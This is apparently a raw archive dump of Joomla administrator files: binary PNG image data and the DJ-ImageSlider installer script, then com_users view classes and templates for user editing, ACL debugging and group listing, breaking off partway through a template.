g?Jn���y�˯�e	�$R�]���	�dX�,�g�N�ͶqRK̿��[�g4# &D:�#$R8qr[z�h^.�&σW)#�J�gO��{^7��;?�90~
y��W)I���_���]�v9Af�Z��Ӥ� ����T[;��D��bz��S<�D�Ә�����졷q�G�Ȣ)OR��G`3
���CK�UPz�d�L��
�e���=Ӽn��
�+���8
��Z.2�Z��@���2�X��S��s������h�JI~��q�)�HÊ�������Mb��E��-�����̢��kA�h�FiyP��g��&�4rl�z����8f�tdU�=Kp�c�.9���w��ĜvM�#f�j�7�fUYڳ�u7yO����y�m�����TJ]�j:!�������'��(t$�FvE��C'�R���dä���i��(��G<ܻd�7&��Z*�q1��X�q��W';ϻ��rH�!oY�m�!?�����[�yw�K�ۉ����u©�U����X�����ܥ�'\w�㺋X�1�;:�-��=z��ս���m"@�`b:hn��&v�U_�6�gТ5��LQ��%C�$hGs
[3^�x'N�oV����g����V������5�tIEND�B`�com_djimageslider/assets/index.html000060400000000000152455305320013472 0ustar00com_djimageslider/assets/logo.png000060400000012230152455305320013153 0ustar00�PNG


IHDR/�KtEXtSoftwareAdobe ImageReadyq�e<!iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:C1407BE4375811E49624DE1AEA0D23AB" xmpMM:DocumentID="xmp.did:C1407BE5375811E49624DE1AEA0D23AB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C1407BE2375811E49624DE1AEA0D23AB" stRef:documentID="xmp.did:C1407BE3375811E49624DE1AEA0D23AB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�
IDATx��]	p��=%K�e�8f�
v��H�
��	I�H���G	Đ�H$�p����8gb���(��҆`(s��p����m{���߫V{fv%�l��W�kwg��������^�4M6T$�Z�C�r#ȡ �A�d�S!��1�����y�����A&�\�!��+(|�	a�s �kS/�m ��ԪK����$�_�������$!m�*�R�w@�P�@A��A3ɨR*�[r�2��AR�1�(��iB�]HK@�'��	��i w��A~2��1�X6�!y


����*!��6e>9�D�m��u;�'!x�<�9 ��(��KD��ru;�'!��A�
��6�3A�A��L"֏�l��ݥn���'�m#(�/|���PP߄��Dc��((���S���R=������[�N�Y2io��W��=��X��4��

��C���g=q���#�2�)�/�&|���PC��q�!�̽���Y�o
+��Þ.L�Lg�ƺg�Ì�Y^u;ơ��.��z,aݓ�`=	c��6ޕ.��5�
�;�d��n�TTP��+���)���zf��t�}L91�:�|�Hh��$&���y!;�V�:EJ �p{{{ߨi�y���㫶������Ce
E�����s�G�rG=3��TG!��2,B��$N5V0��z�-<��-o��9;���O����]�N=-흘��W:�}�\���FȣH�f�$�R�q#1f4�6���<�E)Ϥ[�[~��c&0����3n��qʼn�S��w��=���`O�7�L0�U��o,\0�Z/�>�@��&�c���pG�/!�D\
c-���4=�q.��)g@�{����[�+$M�m�F�Ҟ5�j��rܷw�t#nA<d�#������g�#rH!��ЮcH��c�C <g�Jހϫ5#y��{|o�d?�<�ʺV���e=e���0sP�W����:6���h��X�]��c�.�DV�xb�~$���:7��B�"���m���<�h�F�F8.j�+��r!
�x��^�UP���B��%�C���:y��U¢ݘp^���	��w�ݵ�z/^�(�v�¹�څ21��̹�6
��k��i�6���:~o�.]��7�\rId�O*n���(W����F.C��O-���[3�W����r7ѝ�6*���T�^������7�:A�ԡ+�,���
,e~�%iH������A$$����[O��W+���
Q#@��S;1j��� ��Ry�c�����N����F�ZT���2&\���8f�T��[���n�+��@�y�0�ъuq�&��C��CX�j���h�A^�@�u��	���z��R���)A�Nm�}���9��M��j�u��Lփ��W@6�}���K�C�&�c���	�
�v5�A�q0��<��]N�6��e2�@����{D��h�\(aX0^�����gZm��Y��	���Zҁ_�V��NU1u�J}e!�%�!�'|o�Q������E�2Aڏ�d�p�L�{���`�28�D��7�ܧ?gV��v參�ܟ�L���>߂�߂̐�g�?&�Y��.�zw�]~Pj����6��>_y���\ә�_��w�f�Rv3F�2�|H��F�:�d�Ar��C?���o� �y�
��ǪLD��&Ҳs��ٰ�|�����QkS��:2r���.�����^��jd2�2m�-�~�"��ս�P�����������%Tz�\h���$�4m�
��=����+���2ї��8.�'�\�1WХ�r�ɥ~VyV,=����.@�b���B��NSC��C��[(��x9ch�Z�MQ��:&�h���5�!#t.XG�� ?�ALj���{�k^,�kiK�d�3�s��+Hz5бa�.۾�Pg�.��u4���qfG2�Yn���;f�[>��qil���7�
�֧��A���O�;n�jeAM���Ku�u�o�
}ﱾ�.�v3+a�î�����pAL
�5�����7+���� �Eo��m�G�5PϨ�$��"A�5�TkC0V�4dt$��<:�(<���Eʣv���%Z�K	(��eWK����^�b�$����HW����<�
�vx
v2�=z%N�m?��	���K�dP!�H���i�Ww=�a]�����hF�x�p�$�~�9!(%��{���m��qP�@ƐI�j+79���$��y<��p%HƗ��m=P �EGI��f1�)��8���"�����rB���/D��@Ӣ�����{xV����n�ϛV��0۟���>O�a�h-��¬�W<ƒ_B�#u���f׶��g��均���j�X��w�մ��{�Qt����/��9LbW2=��\j��IɭAn�Pa�T��'�Z�
�@�Q'����a�ɧ�j�N����0��0���+_e6P�00i������9=Q�i�1n>e�g2e`{����3�:��/Id�F�'�PO̊��d�p���ܒԜ�~N��}���B�?M�ӷ�
����d��p2ӈ��a�6i.��b&��t|�����XF�"��	��U�d�Ͼ��J�M	�LÍʍ��BF;�l#��%����'ʚB�"��F��ېù8��|
��JG�G�#�&�� ��9~���}��ב �A�
LG��s�x�6S����(�_T�{ S�m���π��Wx��x>^R�	�e���ݸ J�`ߑ��O���N�*<�u\��=�6�ާM|��
 \f�Wv\�]8���J�B����\O~C��ι�:'*׷�*[_���
���l`��V�1N��m3������S"����2�5tN��
Z�3D7<L�@!NDpB�PcS>
�j)q�F��<�R}�C�d��M���c�	�A2jF�Z�KéE���R�W���s��-TF�SQ6
� !|E����t*�P��ys�f\�r���K�0��f����fl�x'�H���Y�w����)��X���+���9�mDm���
<U� [���t�GvK�H,�1�E��HzF�U�Б[hA<��@>m�L����CHH��OC:�" qE��
B�F&=�8��,�H�1Rh�����Q�^��-P&"\�Eb�bғ�ł6�Ϟ'@��+0�
� �Je�+��P�/�4���M'|�Z�:�k�~q�_�|~�574�j{��v����*�b��׳���^ud����P4A�_ƂGl\/���O=�elI�����J����G����Z�ZN&X'��:&�;PK�+(�D��?_�02��+PY\ѕb;��R�LOOn;ԃ�!9d�y_��'"Ӥ��s�"�hTi���"!�9
ƿ�����
�SV�c~	��!�0�MPU


E�.�qq���Nd�1N�@M%�#�s�@�-l�Ag�Q"��r� �q��w�5���dF΃H�{�>n�Iu��rj�v�"��H,�	�"W`���8}�}	JL2Ԑ;��)#>��:�mB(�)u�Kۅ߸�Yn������).z����}��1��C
��B��$�n��Bq	a��X��dt��N	:�ǟ�Sz��emJ�q+-э����s��@����|cӛ�f9Սm�E3��F�,�-TP(.!�.m��g}\y��Q�d�#�3 �L�����΁Ŋr�i���^z+u�9Vu�d�ʎk����
d�p؛�*(hqO�\Ȳo(~���#�)��8�ʇ��OD�~�\�D`i6�$�o������em��`��4K,)s�]R�Mf)s�0�G���?���}[�.نu���'���_Hg�"]f	,9O:���B	\[
_(:��e�M�}5��]���g�{�{��g-�U�r�ʬ%���Ov�?	D���3ǧ����t����CFK�I^�ϸwpՑj�~�bzQ
0�7�y��7�ͪ&���2����~�ܕ�s/=��|
N�f�b;��]��$���I�e6���!�Sq2�����V�e����)(�.!d�{�]tR=�B	�D���Һ�iy�����h�`�AX {7@m&\Dr�@���N<�Ȼ�)(��C#��D�M�m���4�c�	F#h���wTׯA:�}��£��:E

��C��+%�̲+*]Ly��@g���8��{x����D˙�Rl


���0�!3w+$IEND�B`�com_djimageslider/assets/icon-16-djimageslider.png000060400000001140152455305320016166 0ustar00�PNG


IHDR��h6tEXtSoftwareAdobe ImageReadyq�e<IDATx�TR�n�@=���EI��P��tÖ|B��������c�
		"*���Ȣ�y�Wv<��ýN,��x|=����_��ס#�T(P.8� ���&i?��t\4�B�9x��p��l^h�]�"�$��O�Lh�U���/szŁٻ��.��!{TA��Ǐ�;��:Gdg�d��m�܀l�p�!�'C�][
���{�iw��
_-��Lbs���5R��eg�7L?�7�1q��G��|��q��ә��d�s�uv"�~<���+i1}[��2��G�o�?E�F�Ha���<���y �P�u��Rt��>V��$~*�'��,[�Yu_����@wU�5{5>X��9��a�P1�����dp�A2GR���2�i�/����Wkn�[ʼn[�0xJS�.1���WL>�R�B����aG�80�#��1XK�j�D&N�3C��j�$p#�k�dJ2�6�+���gXa$��*��MyEȅ`5���1�A��V��-�+�%�:�`��5��IEND�B`�com_djimageslider/index.html000060400000000000152455305320012170 0ustar00com_djimageslider/script.djimageslider.php000060400000004005152455305320015023 0ustar00<?php
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
 
class Com_DJImageSliderInstallerScript
{
	/*
	 * $parent is the class calling this method.
	 * $type is the type of change (install, update or discover_install, not uninstall).
	 * preflight runs before anything else and while the extracted files are in the uploaded temp folder.
	 * If preflight returns false, Joomla will abort the update and undo everything already done.
	 */
	function preflight( $type, $parent ) {
		
		if($type == 'update') { 

			$jversion = new JVersion();
			
			if(version_compare($this->getParam('version'), '2.0', 'lt')) {
				
				$db = JFactory::getDBO();
				$db->setQuery('SELECT extension_id FROM #__extensions WHERE name = "com_djimageslider"');
				$ext_id = $db->loadResult();
				// adding the schema version before update to 2.0+
				if($ext_id) {
					$db->setQuery("INSERT INTO #__schemas (extension_id, version_id) VALUES (".$ext_id.", '1.3')");
					$db->execute();
				}
			}
		}
	}
	
	function getParam( $name ) {
		$db = JFactory::getDbo();
		$db->setQuery('SELECT manifest_cache FROM #__extensions WHERE name = "com_djimageslider"');
		$manifest = json_decode( $db->loadResult(), true );
		return $manifest[ $name ];
	}
 
	/*
	 * sets parameter values in the component's row of the extension table
	 */
	function setParams($param_array) {
		if ( count($param_array) > 0 ) {
			// read the existing component value(s)
			$db = JFactory::getDbo();
			$db->setQuery('SELECT params FROM #__extensions WHERE name = "com_djimageslider"');
			$params = json_decode( $db->loadResult(), true );
			// add the new variable(s) to the existing one(s)
			foreach ( $param_array as $name => $value ) {
				$params[ (string) $name ] = (string) $value;
			}
			// store the combined new and existing values back as a JSON string
			$paramsString = json_encode( $params );
			$db->setQuery('UPDATE #__extensions SET params = ' .
				$db->quote( $paramsString ) .
				' WHERE name = "com_djimageslider"' );
				$db->execute();
		}
	}
}
com_users/views/user/view.html.php000060400000005040152455305320013303 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User view class.
 *
 * @since  1.5
 */
class UsersViewUser extends JViewLegacy
{
	protected $form;

	protected $item;

	protected $grouplist;

	protected $groups;

	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function display($tpl = null)
	{
		$this->form      = $this->get('Form');
		$this->item      = $this->get('Item');
		$this->state     = $this->get('State');
		$this->tfaform   = $this->get('Twofactorform');
		$this->otpConfig = $this->get('otpConfig');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Prevent user from modifying own group(s)
		$user = JFactory::getUser();

		if ((int) $user->id != (int) $this->item->id || $user->authorise('core.admin'))
		{
			$this->grouplist = $this->get('Groups');
			$this->groups    = $this->get('AssignedGroups');
		}

		$this->form->setValue('password', null);
		$this->form->setValue('password2', null);

		parent::display($tpl);
		$this->addToolbar();
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$user      = JFactory::getUser();
		$canDo     = JHelperContent::getActions('com_users');
		$isNew     = ($this->item->id == 0);
		$isProfile = $this->item->id == $user->id;

		JToolbarHelper::title(
			JText::_(
				$isNew ? 'COM_USERS_VIEW_NEW_USER_TITLE' : ($isProfile ? 'COM_USERS_VIEW_EDIT_PROFILE_TITLE' : 'COM_USERS_VIEW_EDIT_USER_TITLE')
			),
			'user ' . ($isNew ? 'user-add' : ($isProfile ? 'user-profile' : 'user-edit'))
		);

		if ($canDo->get('core.edit') || $canDo->get('core.create'))
		{
			JToolbarHelper::apply('user.apply');
			JToolbarHelper::save('user.save');
		}

		if ($canDo->get('core.create') && $canDo->get('core.manage'))
		{
			JToolbarHelper::save2new('user.save2new');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('user.cancel');
		}
		else
		{
			JToolbarHelper::cancel('user.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_USERS_USER_MANAGER_EDIT');
	}
}
com_users/views/user/tmpl/edit.xml000060400000000300152455305320013272 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USERS_USER_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_USERS_USER_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/user/tmpl/edit.php000060400000011156152455305320013274 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'user.cancel' || document.formvalidator.isValid(document.getElementById('user-form')))
		{
			Joomla.submitform(task, document.getElementById('user-form'));
		}
	};

	Joomla.twoFactorMethodChange = function(e)
	{
		var selectedPane = 'com_users_twofactor_' + jQuery('#jform_twofactor_method').val();

		jQuery.each(jQuery('#com_users_twofactor_forms_container>div'), function(i, el) {
			if (el.id != selectedPane)
			{
				jQuery('#' + el.id).hide(0);
			}
			else
			{
				jQuery('#' + el.id).show(0);
			}
		});
	};
");

// Get the form fieldsets.
$fieldsets = $this->form->getFieldsets();
?>

<form action="<?php echo JRoute::_('index.php?option=com_users&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="user-form" class="form-validate form-horizontal" enctype="multipart/form-data">

	<?php echo JLayoutHelper::render('joomla.edit.item_title', $this); ?>

	<fieldset>
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', JText::_('COM_USERS_USER_ACCOUNT_DETAILS')); ?>
				<?php foreach ($this->form->getFieldset('user_details') as $field) : ?>
					<div class="control-group">
						<div class="control-label">
							<?php echo $field->label; ?>
						</div>
						<div class="controls">
							<?php if ($field->fieldname == 'password') : ?>
								<?php // Disables autocomplete ?> <input type="password" style="display:none">
							<?php endif; ?>
							<?php echo $field->input; ?>
						</div>
					</div>
				<?php endforeach; ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php if ($this->grouplist) : ?>
				<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'groups', JText::_('COM_USERS_ASSIGNED_GROUPS')); ?>
					<?php echo $this->loadTemplate('groups'); ?>
				<?php echo JHtml::_('bootstrap.endTab'); ?>
			<?php endif; ?>

			<?php
			$this->ignore_fieldsets = array('user_details');
			echo JLayoutHelper::render('joomla.edit.params', $this);
			?>

		<?php if (!empty($this->tfaform) && $this->item->id) : ?>
		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'twofactorauth', JText::_('COM_USERS_USER_TWO_FACTOR_AUTH')); ?>
		<div class="control-group">
			<div class="control-label">
				<label id="jform_twofactor_method-lbl" for="jform_twofactor_method" class="hasTooltip"
						title="<?php echo '<strong>' . JText::_('COM_USERS_USER_FIELD_TWOFACTOR_LABEL') . '</strong><br />' . JText::_('COM_USERS_USER_FIELD_TWOFACTOR_DESC'); ?>">
					<?php echo JText::_('COM_USERS_USER_FIELD_TWOFACTOR_LABEL'); ?>
				</label>
			</div>
			<div class="controls">
				<?php echo JHtml::_('select.genericlist', Usershelper::getTwoFactorMethods(), 'jform[twofactor][method]', array('onchange' => 'Joomla.twoFactorMethodChange()'), 'value', 'text', $this->otpConfig->method, 'jform_twofactor_method', false); ?>
			</div>
		</div>
		<div id="com_users_twofactor_forms_container">
			<?php foreach ($this->tfaform as $form) : ?>
			<?php $style = $form['method'] == $this->otpConfig->method ? 'display: block' : 'display: none'; ?>
			<div id="com_users_twofactor_<?php echo $form['method'] ?>" style="<?php echo $style; ?>">
				<?php echo $form['form'] ?>
			</div>
			<?php endforeach; ?>
		</div>

		<fieldset>
			<legend>
				<?php echo JText::_('COM_USERS_USER_OTEPS'); ?>
			</legend>
			<div class="alert alert-info">
				<?php echo JText::_('COM_USERS_USER_OTEPS_DESC'); ?>
			</div>
			<?php if (empty($this->otpConfig->otep)) : ?>
			<div class="alert alert-warning">
				<?php echo JText::_('COM_USERS_USER_OTEPS_WAIT_DESC'); ?>
			</div>
			<?php else : ?>
			<?php foreach ($this->otpConfig->otep as $otep) : ?>
			<span class="span3">
				<?php echo substr($otep, 0, 4); ?>-<?php echo substr($otep, 4, 4); ?>-<?php echo substr($otep, 8, 4); ?>-<?php echo substr($otep, 12, 4); ?>
			</span>
			<?php endforeach; ?>
			<div class="clearfix"></div>
			<?php endif; ?>
		</fieldset>

		<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</fieldset>

	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_users/views/user/tmpl/edit_groups.php000060400000000676152455305320014700 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
?>
<?php echo JHtml::_('access.usergroups', 'jform[groups]', $this->groups, true); ?>
com_users/views/debuguser/view.html.php000060400000004532152455305320014317 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of User ACL permissions.
 *
 * @since  1.6
 */
class UsersViewDebuguser extends JViewLegacy
{
	protected $actions;

	/**
	 * The item data.
	 *
	 * @var   object
	 * @since 1.6
	 */
	protected $items;

	/**
	 * The pagination object.
	 *
	 * @var   JPagination
	 * @since 1.6
	 */
	protected $pagination;

	/**
	 * The model state.
	 *
	 * @var   JObject
	 * @since 1.6
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		// Access check.
		if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		$this->actions       = $this->get('DebugActions');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->user          = $this->get('User');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Vars only used in hathor.
		// @deprecated  4.0 To be removed with Hathor
		$this->levels        = UsersHelperDebug::getLevelsOptions();
		$this->components    = UsersHelperDebug::getComponents();

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_users');

		JToolbarHelper::title(JText::sprintf('COM_USERS_VIEW_DEBUG_USER_TITLE', $this->user->id, $this->escape($this->user->name)), 'users user');
		JToolbarHelper::cancel('user.cancel', 'JTOOLBAR_CLOSE');

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_users');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_USERS_DEBUG_USERS');
	}
}
com_users/views/debuguser/tmpl/default.php000060400000007724152455305320015010 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('formbehavior.chosen', 'select');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$colSpan   = 4 + count($this->actions);
?>
<form action="<?php echo JRoute::_('index.php?option=com_users&view=debuguser&user_id=' . (int) $this->state->get('user_id')); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"> </div>
		<table class="table table-striped">
			<thead>
				<tr>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_ASSET_TITLE', 'a.title', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_ASSET_NAME', 'a.name', $listDirn, $listOrder); ?>
					</th>
					<?php foreach ($this->actions as $key => $action) : ?>
					<th width="5%" class="center">
						<span class="hasTooltip" title="<?php echo JHtml::_('tooltipText', $key, $action[1]); ?>"><?php echo JText::_($key); ?></span>
					</th>
					<?php endforeach; ?>
					<th width="5%" class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_LFT', 'a.lft', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="<?php echo $colSpan; ?>">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
				<?php foreach ($this->items as $i => $item) : ?>
					<tr class="row0">
						<td>
							<?php echo $this->escape($item->title); ?>
						</td>
						<td class="nowrap">
							<?php echo JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level + 1)) . $this->escape($item->name); ?>
						</td>
						<?php foreach ($this->actions as $action) : ?>
							<?php
							$name  = $action[0];
							$check = $item->checks[$name];
							if ($check === true) :
								$class  = 'icon-ok';
								$button = 'btn-success';
							elseif ($check === false) :
								$class  = 'icon-remove';
								$button = 'btn-danger';
							elseif ($check === null) :
								$class  = 'icon-ban-circle';
								$button = 'btn-warning';
							else :
								$class  = '';
								$button = '';
							endif;
							?>
						<td class="center">
							<span class="icon-white <?php echo $class; ?>"></span>
						</td>
						<?php endforeach; ?>
						<td class="center">
							<?php echo (int) $item->lft; ?>
							- <?php echo (int) $item->rgt; ?>
						</td>
						<td class="center">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
		<div>
			<?php echo JText::_('COM_USERS_DEBUG_LEGEND'); ?>
			<span class="icon-white icon-ban-circle"></span><?php echo JText::_('COM_USERS_DEBUG_IMPLICIT_DENY'); ?>&nbsp;
			<span class="icon-white icon-ok"></span><?php echo JText::_('COM_USERS_DEBUG_EXPLICIT_ALLOW'); ?>&nbsp;
			<span class="icon-white icon-remove"></span><?php echo JText::_('COM_USERS_DEBUG_EXPLICIT_DENY'); ?>
			<br /><br />
		</div>
	</div>
</form>
com_users/views/groups/view.html.php000060400000005006152455305320013646 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of user groups.
 *
 * @since  1.6
 */
class UsersViewGroups extends JViewLegacy
{
	/**
	 * The item data.
	 *
	 * @var   object
	 * @since 1.6
	 */
	protected $items;

	/**
	 * The pagination object.
	 *
	 * @var   JPagination
	 * @since 1.6
	 */
	protected $pagination;

	/**
	 * The model state.
	 *
	 * @var   JObject
	 * @since 1.6
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		UsersHelper::addSubmenu('groups');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_users');

		JToolbarHelper::title(JText::_('COM_USERS_VIEW_GROUPS_TITLE'), 'users groups');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('group.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('group.edit');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'groups.delete', 'JTOOLBAR_DELETE');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_users');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_USERS_GROUPS');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.title' => JText::_('COM_USERS_HEADING_GROUP_TITLE'),
			'a.id'    => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_users/views/groups/tmpl/default.php000060400000012710152455305320014331 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user        = JFactory::getUser();
$listOrder   = $this->escape($this->state->get('list.ordering'));
$listDirn    = $this->escape($this->state->get('list.direction'));
$debugGroups = $this->state->get('params')->get('debugGroups', 1);

JText::script('COM_USERS_GROUPS_CONFIRM_DELETE');

JFactory::getDocument()->addScriptDeclaration('
		Joomla.submitbutton = function(task) {
			if (task == "groups.delete") {
				var i, cids = document.getElementsByName("cid[]");
				for (i = 0; i < cids.length; i++) {
					if (cids[i].checked && cids[i].parentNode.getAttribute("data-usercount") != 0) {
						if (confirm(Joomla.JText._("COM_USERS_GROUPS_CONFIRM_DELETE"))) {
							Joomla.submitform(task);
						}
						return false;
					}
				}
			}

			Joomla.submitform(task);
			return false;
		};
');
?>
<form action="<?php echo JRoute::_('index.php?option=com_users&view=groups'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this, 'options' => array('filterButton' => false))); ?>
		<div class="clearfix"> </div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="groupList">
				<thead>
					<tr>
						<th width="1%" class="nowrap">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_GROUP_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap center">
